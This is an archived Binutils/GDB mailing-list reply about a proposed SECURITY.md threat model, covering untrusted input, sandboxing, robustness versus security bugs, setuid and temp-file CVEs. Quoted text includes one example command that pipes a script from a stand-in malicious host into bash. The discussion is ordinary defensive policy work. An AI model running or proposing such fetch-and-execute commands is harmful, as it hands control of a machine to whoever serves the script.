From mboxrd@z Thu Jan 1 00:00:00 1970 Return-Path: Received: from egyptian.ash.relay.mailchannels.net (egyptian.ash.relay.mailchannels.net [23.83.222.56]) by sourceware.org (Postfix) with ESMTPS id 940013858D32; Thu, 13 Apr 2023 13:35:58 +0000 (GMT) DMARC-Filter: OpenDMARC Filter v1.4.2 sourceware.org 940013858D32 Authentication-Results: sourceware.org; dmarc=none (p=none dis=none) header.from=gotplt.org Authentication-Results: sourceware.org; spf=pass smtp.mailfrom=gotplt.org X-Sender-Id: dreamhost|x-authsender|siddhesh@gotplt.org Received: from relay.mailchannels.net (localhost [127.0.0.1]) by relay.mailchannels.net (Postfix) with ESMTP id 93D2A640B02; Thu, 13 Apr 2023 13:35:54 +0000 (UTC) Received: from pdx1-sub0-mail-a305.dreamhost.com (unknown [127.0.0.6]) (Authenticated sender: dreamhost) by relay.mailchannels.net (Postfix) with ESMTPA id 1F1BD640D94; Thu, 13 Apr 2023 13:35:54 +0000 (UTC) ARC-Seal: i=1; s=arc-2022; d=mailchannels.net; t=1681392954; a=rsa-sha256; cv=none; b=BlAlqzcLLaDEh0/+xYeCPg1PugOuXcDWHAonFbCI4tXgjhltHsir2/Wyc2pZqAE9L72oby HKgm23VxY5RemQ/4XtvacqtJYhNGZNtivUBNBnql//KmCS6kLbvmx7U85U8EYcRxJ3LnlC 2nhk5n/tVzbB8Zyf6uuot5bJDobxJVixmQD4xp/K3Uy5CpdBZe7OH7OYvm30v5L6p6L8IX sPNkXugyQc3i/4CQa6oYwc+DEo4yVvAgNXUrJOUraiFjsPJr82RkNeKacRNpq0ZqOsTxDV XZIZFIQ4I24zz3GdZJ8ZZakhX0puOPc7vpuV7shHq7VnBZyUhEP7zpcRc7yLmg== ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=mailchannels.net; s=arc-2022; t=1681392954; h=from:from:reply-to:subject:subject:date:date:message-id:message-id: to:to:cc:cc:mime-version:mime-version:content-type:content-type: content-transfer-encoding:content-transfer-encoding: in-reply-to:in-reply-to:references:references:dkim-signature; bh=n/2ScCBfx4p3koJ4nDXZ9b63cF3chxDZmtfMo5rYt24=; b=Ga9a44pw7LS8KauGh3vqk3QPUc942U8lRscMlBXWP5Zs3XAGtRTEdrbAPpWuDYThER0NLW 8eDwFDMsfre1II9LhzncN45ksuuBouGJYye1XbVneMKFD5/OhCXg+wqkuQw56MPPTX4xLN P9YsyfzSdZ0iq+PZyrhNZglrxJCJ0LcsMedSm8r0TxiyO0S5U6bdZe9jY+Q5XvfZbICHC7 l4Gp5mCJKTmIIMqZ33nb1iY41MRACYQNEpogsZXetYXlN0CafmwN1EFg/BW65mP1scoQ0s WYbYJgP5H6kD8VpeQWfFBdCGttRAJf3c1v3wMZ6f0rLG5+QD8h/2vv5o27c3Ow== ARC-Authentication-Results: i=1; rspamd-7f66b7b68c-vbn7j; auth=pass smtp.auth=dreamhost smtp.mailfrom=siddhesh@gotplt.org X-Sender-Id: dreamhost|x-authsender|siddhesh@gotplt.org X-MC-Relay: Neutral X-MailChannels-SenderId: dreamhost|x-authsender|siddhesh@gotplt.org X-MailChannels-Auth-Id: dreamhost X-Blushing-Exultant: 3d42d75c05edbd39_1681392954395_1408934560 X-MC-Loop-Signature: 1681392954395:3728397623 X-MC-Ingress-Time: 1681392954394 Received: from pdx1-sub0-mail-a305.dreamhost.com (pop.dreamhost.com [64.90.62.162]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384) by 100.114.243.16 (trex/6.7.2); Thu, 13 Apr 2023 13:35:54 +0000 Received: from [192.168.2.12] (bras-vprn-toroon4834w-lp130-09-174-91-45-153.dsl.bell.ca [174.91.45.153]) (using TLSv1.3 with cipher TLS_AES_128_GCM_SHA256 (128/128 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits)) (No client certificate requested) (Authenticated sender: siddhesh@gotplt.org) by pdx1-sub0-mail-a305.dreamhost.com (Postfix) with ESMTPSA id 4Py0vs3X2QzCw; Thu, 13 Apr 2023 06:35:53 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gotplt.org; s=dreamhost; t=1681392953; bh=n/2ScCBfx4p3koJ4nDXZ9b63cF3chxDZmtfMo5rYt24=; h=Date:Subject:To:Cc:From:Content-Type:Content-Transfer-Encoding; b=gAf+mOuT+NxoCAgJQsD266l2Zahu5UbFzFhJ7GOYRQvpRd4Vl3uzxl+itfedU8QoY yopRWQj+eAKBmGtQg43u9QBKy3bMVlpFh1FigqPIrPGafxGFF7Xy2b+E4zbFBwMgwR V26YAxbKt2uPwPI2RX0ZcCRobDZjmdGw3ncjPfSvtIYXnh6eY69/ZSuQEUeg8u9QNv /VPTzNH1JG7uQuy3hoOV2sKcRwrnieBh4G4IqHIpbzydJOU+PjEHDAYZcIbF21bA25 O9ilKIFGuA0JSuoz83q3rP7SvkZJW2PG+Eb2ni8s4omRay12VHnYIqHZ027MjukOL+ uzfyU/oMkloaQ== Message-ID: <01e846c0-c6bf-defe-0563-1ed6309b7038@gotplt.org> Date: Thu, 13 Apr 2023 09:35:52 -0400 MIME-Version: 1.0 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Thunderbird/102.9.1 Subject: Re: RFC: Adding a SECURITY.md document to the Binutils Content-Language: en-US To: Richard Earnshaw , Nick Clifton , Binutils Cc: "gdb@sourceware.org" References: <1c38b926-e003-0e21-e7f1-3d5dbec2aabf@redhat.com> <5b147005-bd28-4cf9-b9e7-479ef02cb1ad@foss.arm.com> <5d044987-39eb-a060-1b2b-9d07b1515e7d@gotplt.org> <73bc480a-a927-2773-8756-50350f76dfbf@gotplt.org> <4ed86e65-0b7f-11d4-8061-2c5d0b1e147e@foss.arm.com> <7b6b10f8-e480-8efa-fbb8-4fc4bf2cf356@gotplt.org> <0224757b-6b17-f82d-c0bf-c36042489f5e@foss.arm.com> From: Siddhesh Poyarekar In-Reply-To: <0224757b-6b17-f82d-c0bf-c36042489f5e@foss.arm.com> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit X-Spam-Status: No, score=-3027.7 required=5.0 tests=BAYES_00,DKIM_SIGNED,DKIM_VALID,DKIM_VALID_AU,DKIM_VALID_EF,KAM_SHORT,MEDICAL_SUBJECT,NICE_REPLY_A,RCVD_IN_DNSWL_NONE,SPF_HELO_NONE,SPF_PASS,TXREP autolearn=no autolearn_force=no version=3.4.6 X-Spam-Checker-Version: SpamAssassin 3.4.6 (2021-04-09) on server2.sourceware.org List-Id: On 2023-04-13 09:11, Richard Earnshaw wrote: >> This is why when one does a: >> >> curl -s http://evil.website/malicious-script.sh | bash >> >> it is a legitimate security issue, but it's not a vulnerability in >> bash, nor can it be secured in bash.  One must either do this in a >> sandbox to contain its impact in that sandbox, or do a secondary >> analysis (again in a sandbox) to determine that it is safe. > > Right, but that's not the case I was concerned about.  My scenario is > more like when you run something like > > objdump foo.o > > but reading foo.o causes corruption in the tools (eg by a buffer > exploit) and ends up sending a confidential file to a third party. It's not fundamentally different from, e.g. bash malicious-script.sh it just feels different because you elided the transport mechanism. Fundamentally, it is unsafe to do anything with untrusted content without sandboxing, so objdump is no different. Sure, objdump is an analysis tool, so it should be able to analyze foo.o without crashing, but that's a robustness issue, not a security one. The security aspect should be handled by a sandbox. >>>>> a vulnerability in the generated output that was not already >>>>> present in the files used as input. >>>>> >>>>> Note: none of the programs in the GNU Binutils suite need elevated >>>>> system privileges (eg setuid) to operate and we recommend that >>>>> users do not use them from accounts where such privileges are >>>>> automatically available. >>>> >>>> We did have CVE-2021-20197, so it's not always setuid. >>> >>> >>> Which is exactly the sort of scenario I was trying to exclude by this >>> statement - don't run the tools with elevated privileges. >> >> I should have clarified that I agree, just that mentioning setuid >> might lull users into believing that this threat model is only related >> to setuid. > > Which is why I put setuid in brackets and put 'eg' in front of it.  It's > the most obvious example, but it's by no means the only case. Fair enough. > BTW, the real problem underlying that CVE is that the temp-files APIs > are fundamentally weak by defaulting to a shared temporary directory. > Quite frankly there's no reason why systems shouldn't be using per-user > temporary directories these days which are private - who needs to share > temporary files with other users? That is essentially why the issue wasn't considered critical. Sid